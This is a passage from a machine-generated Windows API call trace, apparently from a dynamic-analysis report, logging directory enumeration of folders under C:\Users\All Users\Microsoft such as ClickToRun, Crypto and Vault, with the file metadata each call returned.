dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.191] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.191] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0217.191] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0217.191] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0217.191] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0217.192] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0217.192] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd17b1a49, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd17b1a49, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0217.192] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0217.192] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0217.192] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0217.192] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x35da50f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x35da50f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0217.192] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0217.193] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0217.193] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xbf84b63e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xbf84b63e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0217.193] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0217.193] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3840877a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3840877a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3840877a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0217.193] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbca7cf5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbca7cf5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0217.193] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3d47fe2c, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d47fe2c, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0217.193] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x448c3dac, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x448c3dac, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0217.194] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0217.194] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x77d1fe08, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x77d1fe08, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0217.194] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x35c3f417, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6520aed4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0217.194] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0217.495] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0217.495] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0217.496] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0217.496] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ebc8954, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4ebc8954, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4ebc8954, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 1 [0217.496] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc8c0 | out: lpFindFileData=0x1b0bc8c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.496] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb20) returned 1 [0217.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcae0) returned 1 [0217.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bc430) returned 1 [0217.497] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x1b0bbf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x27 [0217.497] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\*"), lpFindFileData=0x1b0bc140 | out: lpFindFileData=0x1b0bc140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5a70 [0217.500] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.500] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4BAD322A-C043-4DED-A97A-6FE0C4412FBE", cAlternateFileName="4BAD32~1")) returned 1 [0217.500] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd584c46a, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9566930B-D1DD-4075-BFE6-74DD69B13189", cAlternateFileName="956693~1")) returned 1 [0217.500] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d04153d, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d04153d, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d04153d, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0217.500] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e44e88, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e47593, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1 [0217.500] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c5095b, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x85c5095b, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x85c5095b, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1 [0217.501] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0217.501] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0217.501] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0217.501] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0217.501] FindClose (in: hFindFile=0x1d1f5a70 | out: hFindFile=0x1d1f5a70) returned 1 [0217.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0217.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc320) returned 1 [0217.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bc430) returned 1 [0217.502] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x1b0bbf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x27 [0217.503] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\*"), lpFindFileData=0x1b0bc140 | out: lpFindFileData=0x1b0bc140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0217.504] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.504] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4BAD322A-C043-4DED-A97A-6FE0C4412FBE", cAlternateFileName="4BAD32~1")) returned 1 [0217.504] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd584c46a, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9566930B-D1DD-4075-BFE6-74DD69B13189", cAlternateFileName="956693~1")) returned 1 [0217.504] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, 